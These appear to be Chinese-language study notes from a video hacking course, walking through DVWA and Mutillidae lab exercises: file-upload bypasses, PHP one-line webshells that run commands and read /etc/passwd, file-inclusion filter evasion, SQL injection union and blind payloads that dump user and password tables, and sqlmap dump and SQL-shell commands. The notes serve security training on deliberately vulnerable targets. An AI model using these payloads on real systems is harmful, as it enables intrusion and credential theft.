cc攻击:针对应用,比如恶意刷验证码 DDoS攻击:针对服务器,比如大量的http请求,超大流量的恶意访问 ← ← ← 刮刮乐
笔记来源B站视频(知识区>野生技术协会),阿婆主->程序学习
黑客攻防 从入门到入yu【網絡安全】:https://www.bilibili.com/video/BV1E4411L7zS
实验靶机:OWASP_BrokenWeb_Apps_VM_1.2
下载地址:https://sourceforge.net/projects/owaspbwa/files/1.2/OWASP_BrokenWeb_Apps_VM_1.2.zip/download
测试渗透机:Kali_Linux
官网下载地址:https://www.kali.org/downloads/
实验一:
低安全模式下,上传任意类型文件,文件不大限制
实验二:
中安全模式下,绕过类型上传文件(文件MIME类型)
修改浏览器代理为BurpSuite的代理
通过BurpSuite修改Content-Type的信息,改为 image/JPEG
实验二实现原理:
实验三:
高安全模式,上传一句话图片木马(文件后缀名限制)
shell2.php #eval 使用php函数,例如phpinfo();
<?php eval($_REQUEST['cmd']);?>
http://10.3.139.173/dvwa/hackable/uploads/shell2.php?cmd=phpinfo();
shell3.php #system 使用Linux系统命令,例如ls,cp,rm
<?php system($_REQUEST['yangge']);?>
http://10.3.139.173/dvwa/hackable/uploads/shell3php?yangge=cat /etc/passwd
#ip地址改为自己的
中国菜刀官网:http://www.maicaidao.co/
腾讯哈勃查毒(轻度风险):https://habo.qq.com/
在文件中找到readme.txt,里面有详细使用方法
一句话木马脚本
<?fputs(fopen("shell20.php","w"),'$_POST[yangge]);?>')?>
edjpgcom工具链接:
链接: https://pan.baidu.com/s/1JrO1IDzkLyhqn2AGh6wD2Q
提取码: nq6d
相对路径
http://192.168.106.134/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/yangge.jpg
绝对路径
http://192.168.106.134/dvwa/vulnerabilities/fi/?page=/var/www/dvwa/hackable/uploads/yangge.jpg
远程文件包含 + webshell
建立远程服务器
安装web服务(apache2)
systemctl start apache2
vim /var/www/html/yangge.txt
')?>
**本地文件包含:**和低安全级别操作一样
**本地文件包含 + webshell:**和低安全级别操作一样
远程文件包含 + webshell
后台源码用str_replace函数只替换一个http://,那改成httphttp:///就行了
后台源码写死,固定了包含文件,安全无漏洞但不灵活
实验靶机:OWASP_BrokenWeb_Apps_VM_1.2
下载地址:https://sourceforge.net/projects/owaspbwa/files/1.2/OWASP_BrokenWeb_Apps_VM_1.2.zip/download
测试渗透机:Kali_Linux
官网下载地址:https://www.kali.org/downloads/
1、登录OWASP
2、查看数据库
show databases;
查看所有数据库
select database();
查看当前所在的库
use dvwa;
进去dvwa库
3、查看库中的表
show tables;
4、查看表结构
desc table;
5、查看表记录
比如select语句
//简单查询示例
当前库dvwa dvwa .users
mysql> select * from users;
mysql> select user_id,first
其它库 mysql.user
mysql> desc mysql.user;
mysql> select * from mysql.user;
mysql> select user,password,host from mysql.user;
其它库 wordpress .user
mysql> desc wordpress.wp_users;
mysql> select * from wordpress.wp_users;
wysql> select user_login,user_pass from wordpress.wp_users;
//条件查询示例
mysql> select user,password,host from mysql.user where user='root';
mysqi> select user,password,host from mysql.user where user='root' and host='localhost':
mysql> select user,password,host from mysql.user where user='root' or host='localhost';
mysql> desc dvwa .users;
mysq1> select user_id,first_name,last_name from dvwa.users where first_name='yangge';
mysql> select user_id,first_name,last_name from dvwa.users where first_name='yangge' or 1=1;
mysqi> select user_id,first_name,last_name from dvwa.users where first_name='admin' and 1=2;
mysql> select user_id,first_name,last_name from dvwa.users where user_id=2;
mysql> select user_id,first_name,last_name from dvwa.users where user_id=7;
mysql> select user_id,first_name,last_name from dvwa.users where user_id=7 or 1=1;
注:union查询前后字段数必须相同
mysql> select user,password,host from mysql.user union select user_login,user_pass,3 from wordpress.wp_users;
mysql> select * from dvwa.users union select user_login,user_pass,1,2,3,4 from wordpress.wp_users;
6、information_schema(元数据)
====查询数据库库名、表名 information_schema.tables===
mysql> select * from information_schema.TABLES\G
mysql> select DISTINCT TABLE_SCHEMA from information_schema.TABLES; //等价于show databases
mysql> select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES\G
mysql> select TABLE_SCHEMA,GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES GROUP BY
TABLE_SCHEMA\G
mysql> select TABLE_NAME from INFORMATION_SCHEMA.tables where TABLE_SCHEMA='dvwa'; //等价于show tables
===查询数据库库名、表名、字段名 information_schema.columns===
mysql> select * from information_schema.columns\G
mysql> select column_name from INFORMATION_SCHEMA.columns
mysql> select column_name from INFORMATION_SCHEMA.columns where table_schema='dvwa’ and table_name='users'; //相当于desc
mysql> select column_name from INFORMATION_SCHEMA.columns where table_name='USER_PRIVILEGES';
mysql> select column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES';
目的:试探某位置是否有注入点
语句分析
输入单引号 ’ 报错
select first_name,last_name from dvwa users where user_id='''
select first_name,last_name from dvwa users where user_id='' or 1=1 -- yangge '
' or 1=1 -- yangge
第一个 ’ 为了闭合前面的条件
or 1=1 为真的条件
- - 注释掉后面所有语句
一般可以查到本张表的所有数据
//查询所有库名
'union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- '
mysql> select first_name,last_name from dvwa.users where user_id='' union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- '
//查询所有库的表名
' union select table_name,1 from INFORMATION_SCHEMA.tables -- ''
mysql> select first_name,last_name from dvwa.users where user_id='' union select table_name,1 from INFORMATION_SCHEMA.tables -- ''
//查询所有表名及对应库名
' union select TABLE_SCHEMA, table_name from SINFORMATION_SCHEMA.tables -- ''
mysql> select first_name,last_name from dvwa.users where user_id='' union select TABLE_SCHEMA, table_name from SINFORMATION_SCHEMA.tables -- ''
//原始语句
mysq1> select first_name,last_name from dvwa.users where user_id='$id'
//查询数据表
'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name="users' --'
'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name='USER PRIVILEGE' --'
'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES' --'
//查询数据列
'union select NULL, user from users -- '
'union select NULL, password from users -- '
'union select user, password from users -- '
'union select NULL, GRANTEE from USER_PRIVILEGES -- '
'union select password, concat(first_name,' ',last_name,' ',user) from users --'
输入语句
mysq1> select first_name,last_name from dvwa.users where user_id=' 'union select password, concat(first_name,' ',last_name,' ',user) from users --'
注入语句
可以查到本张表以外的那些表的数据
前提是
第一要知道union前面SQL语句查询的字段数
第二要知道union后面的要查的那张表的字段名
SQL injection (Blind) - 盲注
有些数据库对错误信息做了安全配置,使得不能通过以上方法探测到注入点,此时,通过设置 sleep 语句来探测注入点
1' and sleep(5) -- '
SQL注入语句解析:
mysql> select first_name,last_name from dvwa.users where user_id='1' and sleep(5) -- '
SQ注入比较好用的工具,首推开源工具 SQLmap。SQLmap是个国内外著名的安全稳定性测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳定性测试的功能选项,包括获取数据库中有的数据,访可操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
SQLmapx-MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2,SQLite, Firebird, Sybase和 SAP MaxDB等数据库的各中安全漏洞检测
sqlmap -hh | less
各行参数自行翻译(本人英语渣渣)
有登陆权限漏洞的靶机 OWASPMutillidae ‖
通过指定参数注入(复制网页链接,再加上参数)
root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --batch -p username
root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --dbs
root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --users
root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --current-user
--users //获取全部用户
--current-user //获取当前用户
--dbs //获取全部数据库
--current-db //获取当前数据库
-D "database_name" --tables
-D "database_name" -T "table_name" --colun
--dump-all //整个数据库全部dump(拿)下来
--dump-all --exclude-sysdbs //排除系统库
-D "database_name" -T "table_name" --dump
-D "database_name" -T "table_name" -C "username, password" --dump
--batch //自动化完成![在这里插入图片描述](https://img-blog.csdnimg.cn/20200620142056130.png)
需要带cookie才能访问注入的页面, – cookie=""
root@kall:~# sqlmap -u "http://192.168.106.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="换成自己的" --batch
多个 cookie 用 ; 分开
PHPSESSID = ID(主意,要用 =,而不是 :)
演示步骤(和GET差不多):
提权操作:--sql-shell
获取sql权限后(操作数据库):
sql-shell:select * from users;